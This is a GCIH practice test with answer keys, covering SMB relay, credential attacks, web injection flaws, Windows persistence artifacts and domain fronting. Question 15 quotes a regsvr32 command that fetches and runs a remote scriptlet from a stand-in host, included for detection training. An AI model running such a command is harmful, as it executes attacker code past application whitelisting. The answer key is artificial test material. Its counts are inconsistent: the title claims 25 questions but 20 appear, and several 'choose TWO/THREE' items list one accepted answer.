GCIH Practice Test 5 — 25 Questions

Question 1

Which THREE actions are recommended to secure SMB against credential relay and man-in-the-middle attacks?

Accepted Answer

Enforce SMB message signing. Securing SMB requires a layered approach focusing on authentication integrity and protocol restrictions. Enabling SMB signing ensures that packets are not modified in transit, while SMB encryption provides confidentiality. Furthermore, disabling legacy protocols like SMBv1 eliminates the weakest links that are often targeted for relaying. These steps are fundamental for hardening Windows environments against attackers aiming to steal or reuse credentials within the network, significantly hindering lateral movement and privilege escalation attempts.

Answer

Force the use of SMBv1 exclusively

Answer

Use cleartext passwords for SMB shares

Question 2

An incident responder notices that a legacy web application stores user credentials using MD5 hashing without salt. Which vulnerability is the primary risk during a credential database compromise?

Accepted Answer

Precomputed rainbow table attacks. MD5 is cryptographically broken and prone to collision attacks. Without a salt, identical passwords generate identical hashes, enabling precomputed rainbow table attacks. This allows attackers to instantly crack most of the database by comparing hashes against known lists. Incident responders must prioritize salting and moving to modern algorithms like Argon2 or bcrypt to ensure that stolen credentials cannot be easily reversed, protecting users from credential stuffing attacks elsewhere.

Answer

Buffer overflow in the authentication module

Answer

SQL injection via the login form

Answer

Man-in-the-middle interception

Question 3

Which of the following describes a 'credential stuffing' attack?

Accepted Answer

Using valid credentials from one site to access another. Credential stuffing is an automated attack where threat actors use lists of compromised credentials from one breach to attempt logins on unrelated websites. It relies on the common human tendency to reuse passwords across multiple services. Understanding this is vital for incident handlers, as it explains why security alerts for one platform may indicate an account compromise elsewhere. Mitigation requires enforcing unique passwords and using multi-factor authentication (MFA) to invalidate stolen password utility.

Answer

Exploiting a buffer overflow to bypass login

Answer

Brute-forcing a password using a dictionary file

Answer

Intercepting credentials via a phishing email

Question 4

An organization discovers that an attacker executed operating system commands via a vulnerable web application endpoint. The application takes user input, constructs an XML payload, and passes it to an underlying XML parser without disabling external entity resolution. Which type of vulnerability enabled this command execution?

Accepted Answer

XML External Entity injection exploiting insecure XML parser configurations. XML External Entity (XXE) injection arises when applications parse untrusted XML input with external entity processing enabled. Attackers can define malicious entities referencing local system files, internal network resources, or command execution wrappers, leading to severe data compromise or remote code execution scenarios.

Answer

Server-Side Template Injection via malicious expressions evaluated by template engines

Answer

Cross-Site Scripting via injected script tags within CDATA sections

Answer

LDAP injection through improper attribute filtering in directory search queries

Question 5

An incident responder investigates a web application running a legacy PHP backend. Users report that searching for specific product SKUs causes the application to dump database table structures directly onto the results page. Which underlying vulnerability class is most likely responsible for this behavior?

Accepted Answer

Error-based SQL injection via unescaped search input processed directly by the database engine. Error-based SQL injection occurs when database error messages are displayed directly to the end user through the web interface. Attackers leverage these verbose debugging messages to extract database schemas, table names, and sensitive column contents piece by piece. Remediating this requires implementing custom error handling and parameterized queries globally.

Answer

Cross-Site Scripting via injected JavaScript payloads in the SKU search field

Answer

Remote Code Execution via insecure deserialization of serialized PHP objects

Answer

XML External Entity injection via malformed search queries processed by an XML parser

Question 6

An incident handler is performing an authorized network discovery scan on a perimeter segment. To bypass simple static stateful inspection firewalls that drop unexpected TCP SYN packets, the analyst decides to utilize an ACK scan (-sA in Nmap). What is the primary limitation of utilizing this specific scan type during network mapping?

Accepted Answer

It cannot distinguish between open and closed ports because both respond with a TCP RST packet.. An ACK scan sends packets with only the ACK flag set, which bypasses stateless or simple stateful firewalls that only track initial connection attempts. However, because an ACK packet is sent to an established connection, any port that is open or closed will reply with a RST packet. This behavior prevents the analyst from distinguishing between open and closed ports, making it useful solely for determining if a port is filtered by a firewall.

Answer

It requires root privileges on the scanning host to construct raw TCP frames with custom header flags.

Answer

It causes immediate system instability and kernel panics on legacy Microsoft Windows operating systems due to malformed TCP stacks.

Answer

It triggers immediate critical high-severity alerts on all intrusion detection systems due to the distinct lack of a three-way handshake initiation.

Question 7

An incident handler is analyzing an incident where a web application was compromised via SQL injection. The backend database uses a modern relational database management system. Which TWO of the following remediation strategies are considered primary defenses against SQL injection attacks? (Choose TWO)

Accepted Answer

Implementing parameterized queries or prepared statements for all database interactions. Effective mitigation of SQL injection requires separating user-supplied data from executable query statements. Parameterized queries enforce strict data typing and prevent interpreters from executing user input as code, while robust input validation adds a crucial defense-in-depth layer by rejecting malformed payloads before database interaction.

Answer

Enabling client-side JavaScript validation to strip out single quotes and semicolons

Answer

Relying exclusively on Web Application Firewall signature blocking rules

Answer

Encoding all database query outputs using HTML entity encoding before rendering

Question 8

What is the primary vulnerability exploited by the 'Responder' tool during a network-based password attack, and why does it effectively capture sensitive information?

Accepted Answer

It leverages LLMNR/NBT-NS spoofing to capture NTLM hashes. Responder exploits the fact that Windows clients automatically broadcast name resolution requests (LLMNR/NBT-NS) when DNS resolution fails. Responder acts as an imposter, claiming to be the requested server. The client then attempts to authenticate to the attacker's machine, sending its NTLM hash. This is effective because it exploits native, legacy Windows behavior that is often enabled by default in internal networks.

Answer

It exploits weak encryption in SMB signing

Answer

It intercepts plaintext passwords via ARP spoofing

Answer

It performs Man-in-the-Middle on encrypted Kerberos tickets

Question 9

An incident responder is analyzing a compromised Windows host and discovers that the attacker used the built-in 'sc.exe' utility to create a new service named 'WinDefendHelper' with a binary path pointing to a file in C:\Users\Public\Documents. The service was set to start automatically and the attacker then deleted the original dropper executable. Which persistence mechanism has the attacker implemented, and what is the most reliable detection artifact?

Accepted Answer

A new Windows service was created; detection should focus on Event ID 7045 in the System log and registry keys under HKLM\SYSTEM\CurrentControlSet\Services.. Using sc.exe to create a new auto-start service is a classic Windows persistence technique. Event ID 7045 in the System log records the service installation with its name, image path, and start type, while the registry key under HKLM\SYSTEM\CurrentControlSet\Services stores the persistent configuration. Together these artifacts survive deletion of the original dropper and provide reliable detection evidence.

Answer

A WMI event subscription was created; detection should focus on the __EventFilter and __EventConsumer classes in the root\subscription namespace.

Answer

A startup folder shortcut was placed; detection should focus on file creation events in the user's Startup directory.

Answer

A scheduled task was registered; detection should focus on the TaskCache registry key and Event ID 4698 in the Security log.

Question 10

Which of the following describes the 'SMB Relay' attack during lateral movement?

Accepted Answer

Intercepting authentication and relaying it to another machine.. SMB Relay works by intercepting a client's authentication request (SMB) and forwarding it to another target machine. If the client has sufficient privileges, the attacker gains access to the target without ever needing the user's password. This attack is particularly dangerous in environments without SMB signing enabled, as it allows for easy lateral movement through man-in-the-middle positioning within the local network segment.

Answer

Encrypting files on the network share.

Answer

Sending flood packets to crash the SMB service.

Answer

Replacing the SMB.exe binary with a malicious version.

Question 11

Refer to the exhibit. The log shows a low-confidence alert from an AI tool. How should an incident responder proceed?

Accepted Answer

Conduct manual investigation of the host and network traffic to verify.. With a confidence score of 0.45, the AI is expressing high uncertainty, effectively indicating that the detection is not reliable enough for automated action. The responder must perform a manual investigation—such as checking firewall logs, host artifacts, or process trees—to validate the alert before taking disruptive actions. This ensures that the incident response process remains grounded in high-fidelity evidence rather than reacting to 'noisy' but potentially incorrect AI-generated suggestions.

Answer

Follow the suggestion and isolate the host as instructed by the system.

Answer

Log the event as a false positive and disable the detection rule.

Answer

Wait for the AI to provide more logs before making a decision.

Question 12

Which TWO of the following strategies are most effective when using AI tools to assist in the analysis of large-scale, automated malware logs?

Accepted Answer

Use the AI to identify outliers in communication patterns compared to historical baselines.. Effective AI-assisted log analysis requires a balance of automation and human verification. By focusing on pattern recognition and outlier detection, investigators can rapidly surface anomalies that manual review would miss. These strategies matter because modern malware generates massive datasets; relying solely on manual inspection is unsustainable, while relying solely on AI without defined parameters leads to alert fatigue and significant false positive rates that obscure the true threat actor's activities.

Answer

Provide the AI with the full, unfiltered enterprise log database without context.

Answer

Rely on the AI to automatically perform incident remediation without verification.

Answer

Instruct the AI to ignore all non-standard timestamps to simplify the output.

Question 13

An incident investigator reviews application logs showing that an attacker manipulated session tokens by altering underlying JSON Web Tokens without knowing the signing secret. The attacker successfully forged valid-looking administrative sessions. Which server-side vulnerability enabled this behavior?

Accepted Answer

Improper JWT algorithm validation permitting the 'none' signing algorithm. Accepting JSON Web Tokens with the algorithm header set to 'none' is a critical cryptographic misconfiguration. When developers fail to enforce strict algorithm validation on the server side, attackers can strip cryptographic signatures entirely, modify payload claims, and gain unauthorized administrative privileges.

Answer

Server-Side Request Forgery via unvalidated webhook URLs

Answer

SQL injection within the session lookup table query

Answer

Cross-Site Scripting enabling session identifier theft from local storage

Question 14

An incident responder is examining a Windows Server 2016 system that is suspected of being compromised. The responder runs 'net user' and sees a new account named 'Support' that was not there before. The account is a member of the local Administrators group. The responder checks the Security event log and sees Event ID 4720 (A user account was created) followed by Event ID 4732 (A member was added to a security-enabled local group). The responder also notices that the account has never been logged into. Which post-exploitation technique does this represent?

Accepted Answer

Backdoor user account creation. The creation of a new local account and its addition to the Administrators group is a backdoor user account creation technique. Attackers use this to maintain persistent access. The event IDs 4720 and 4732 are key indicators. This account, never logged into, serves as a dormant backdoor that can be activated later.

Answer

Kerberoasting

Answer

DCSync

Answer

Pass-the-Hash

Question 15

During an investigation of a compromised Windows 10 workstation, you observe the following command executed by a user process: `regsvr32.exe /s /u /i:https://malicious.example/payload.sct scrobj.dll`. The user has no legitimate reason to run regsvr32. Which attack technique is this command most indicative of?

Accepted Answer

Squiblydoo. The command uses regsvr32.exe with the /i: parameter to load a remote scriptlet from a URL, a technique known as Squiblydoo. This bypasses application whitelisting because regsvr32 is a trusted, signed binary. The attacker leverages this to execute code without writing a persistent executable to disk, making detection challenging.

Answer

COM hijacking via registry modification

Answer

DLL hijacking through a malicious scrobj.dll

Answer

AppLocker bypass via msbuild.exe

Question 16

During incident response, you observe that a compromised host is sending ICMP echo request packets with a payload size of 1000 bytes to an external IP. The payload appears to contain non-printable characters. What is the most likely explanation?

Accepted Answer

The host is using ICMP tunneling for covert communication.. The correct answer is ICMP tunneling for covert communication. Large ICMP packets with non-printable payloads sent to a single external IP are a classic sign of ICMP tunneling, where data is hidden in the payload to evade detection.

Answer

The host is experiencing a network loop.

Answer

The host is infected with a worm that scans for vulnerabilities.

Answer

The host is performing a ping flood attack.

Question 17

An analyst is investigating a suspected compromise on a Windows 10 endpoint. Network telemetry shows periodic outbound HTTPS traffic to a domain that resolves to a legitimate cloud CDN IP, but the SNI in the TLS ClientHello does not match the destination domain. The endpoint has no browser activity at those times. Which technique best explains this traffic pattern?

Accepted Answer

Domain fronting through a CDN to hide the true command-and-control destination. Domain fronting exploits CDN behavior where the TLS SNI and the HTTP Host header can differ, allowing traffic to appear destined for a benign domain while actually reaching attacker infrastructure. The combination of periodic non-browser HTTPS, a legitimate CDN IP, and an SNI that does not match the destination domain is characteristic. DNS tunneling, ICMP covert channels, and fast flux produce different network signatures and would not generate this specific mismatch.

Answer

Fast flux DNS rotating A records to evade blocklists

Answer

DNS tunneling using TXT records to exfiltrate data

Answer

Beaconing over a covert channel using ICMP echo payloads

Question 18

A SOC analyst notices that a scheduled task on a workstation was created shortly after a user opened a malicious email attachment. The task runs a PowerShell command that downloads a file from an external IP every hour. The task is configured to run under the SYSTEM account and has no associated user logon. Which post-exploitation technique does this represent?

Accepted Answer

Persistence via scheduled task. Scheduled tasks are a favored persistence mechanism because they can run under SYSTEM, trigger on schedules or events, and survive reboots without user interaction. The scenario shows a task created after a phishing attachment, executing a recurring download, which matches this technique. Unquoted service path, LSASS credential dumping, and PsExec lateral movement involve different artifacts such as service creation or remote execution, none of which are described.

Answer

Credential dumping using LSASS memory access

Answer

Privilege escalation via unquoted service path

Answer

Lateral movement using PsExec

Question 19

During an incident response on a Windows 10 endpoint, you observe that a malicious process has injected a thread into a remote process on the same host using the CreateRemoteThread API. The injected code is now executing in the context of a legitimate system process. Which of the following best describes the primary purpose of this technique from the attacker's perspective?

Accepted Answer

To evade detection by masquerading malicious code within a trusted process.. Injecting a thread into a remote process using CreateRemoteThread enables an adversary to execute arbitrary code within the address space of a trusted process. This helps evade detection because many security solutions allowlist or trust system processes. The technique does not inherently escalate privileges, create network tunnels, or dump credentials, making the evasion-focused description the correct one.

Answer

To harvest credentials from the LSASS process memory.

Answer

To establish a covert channel over DNS for command and control.

Answer

To escalate privileges by exploiting a vulnerable driver in the kernel.

Question 20

During an incident response engagement, an analyst observes that a Windows workstation is making DNS queries for a domain that resolves to an IP address owned by a cloud provider. The queries are for subdomains that appear randomly generated and change frequently. The workstation also has periodic HTTPS connections to that IP. The analyst suspects domain fronting. Which of the following best describes how domain fronting is used in this scenario?

Accepted Answer

The attacker sends traffic to a legitimate domain's IP but uses a different Host header to reach the actual command-and-control server.. Domain fronting allows an attacker to hide command-and-control traffic by connecting to a legitimate domain's IP address while specifying a different Host header that routes to the attacker's server. This makes the traffic appear to go to a trusted domain, evading network filters. The random subdomains and periodic HTTPS connections are consistent with this technique.

Answer

The attacker compromises a legitimate website and uses it to host malicious payloads.

Answer

The attacker uses a fast-flux network to rapidly change DNS records and evade detection.

Answer

The attacker uses DNS tunneling to exfiltrate data through the DNS queries.